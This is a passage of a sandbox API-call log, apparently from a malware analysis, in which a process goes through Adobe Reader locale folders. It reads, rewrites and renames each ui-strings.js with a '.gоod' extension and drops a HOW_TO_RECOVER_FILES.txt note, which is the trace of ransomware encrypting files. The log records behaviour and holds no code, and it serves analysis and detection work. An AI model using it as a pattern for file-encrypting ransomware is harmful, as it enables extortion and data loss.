ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x4da14bfa, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe10)) returned 1 [0136.599] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0136.599] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fi-fi\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\fi-fi\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fi-fi\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\fi-fi\\ui-strings.js.gоod")) returned 1 [0136.600] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fi-fi\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fi-fi\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0136.600] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0136.600] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fi-fi\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\fi-fi\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e4 [0136.600] GetFileType (hFile=0x6e4) returned 0x1 [0136.600] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0136.600] GetFileType (hFile=0x6e4) returned 0x1 [0136.601] WriteFile (in: hFile=0x6e4, lpBuffer=0x3847b10*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x3847b10*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0136.602] CloseHandle (hObject=0x6e4) returned 1 [0136.602] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0136.602] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-fr", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-fr", lpFilePart=0x0) returned 0x68 [0137.084] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-fr\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0137.085] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.085] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xf0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0137.086] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0137.086] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0137.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0137.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0137.086] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0137.086] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-fr", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-fr", lpFilePart=0x0) returned 0x68 [0137.086] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-fr\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0137.086] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.086] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xf0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0137.086] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xf0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0137.087] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0137.087] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0137.087] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0137.087] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-fr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-fr\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0137.087] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0137.087] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-fr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\fr-fr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x39a53f0 | out: lpFileInformation=0x39a53f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xf0d)) returned 1 [0137.087] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0137.087] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-fr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-fr\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0137.087] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0137.087] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-fr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\fr-fr\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0137.087] GetFileType (hFile=0x630) returned 0x1 [0137.087] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0137.087] GetFileType (hFile=0x630) returned 0x1 [0137.087] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1ffebad8 | out: lpFileSizeHigh=0x1ffebad8*=0x0) returned 0xf0d [0137.088] ReadFile (in: hFile=0x630, lpBuffer=0x39a6668, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba08, lpOverlapped=0x0 | out: lpBuffer=0x39a6668*, lpNumberOfBytesRead=0x1ffeba08*=0xf0d, lpOverlapped=0x0) returned 1 [0137.089] CloseHandle (hObject=0x630) returned 1 [0137.194] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-fr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-fr\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0137.195] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0137.195] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-fr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\fr-fr\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0137.196] GetFileType (hFile=0x650) returned 0x1 [0137.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0137.196] GetFileType (hFile=0x650) returned 0x1 [0137.196] WriteFile (in: hFile=0x650, lpBuffer=0x3830d78*, nNumberOfBytesToWrite=0xf10, lpNumberOfBytesWritten=0x1ffeb918, lpOverlapped=0x0 | out: lpBuffer=0x3830d78*, lpNumberOfBytesWritten=0x1ffeb918*=0xf10, lpOverlapped=0x0) returned 1 [0137.197] CloseHandle (hObject=0x650) returned 1 [0137.197] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-fr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-fr\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0137.198] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-fr\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-fr\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7b [0137.198] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0137.198] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-fr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\fr-fr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x4dfe47e6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf10)) returned 1 [0137.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0137.198] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-fr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\fr-fr\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-fr\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\fr-fr\\ui-strings.js.gоod")) returned 1 [0137.199] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-fr\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-fr\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0137.199] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0137.199] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-fr\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\fr-fr\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x650 [0137.200] GetFileType (hFile=0x650) returned 0x1 [0137.200] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0137.200] GetFileType (hFile=0x650) returned 0x1 [0137.200] WriteFile (in: hFile=0x650, lpBuffer=0x38345e8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x38345e8*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0137.201] CloseHandle (hObject=0x650) returned 1 [0137.202] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0137.202] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-ma", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-ma", lpFilePart=0x0) returned 0x68 [0137.202] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-ma\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0137.202] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.203] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xf0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0137.203] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0137.203] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0137.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0137.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0137.203] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0137.203] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-ma", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-ma", lpFilePart=0x0) returned 0x68 [0137.203] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-ma\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0137.203] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.204] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xf0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0137.204] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xf0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0137.204] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0137.204] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0137.204] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0137.204] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-ma\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-ma\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0137.204] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0137.204] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-ma\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\fr-ma\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x38441a0 | out: lpFileInformation=0x38441a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xf0d)) returned 1 [0137.204] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0137.204] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-ma\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-ma\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0137.204] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0137.205] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-ma\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\fr-ma\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0137.205] GetFileType (hFile=0x650) returned 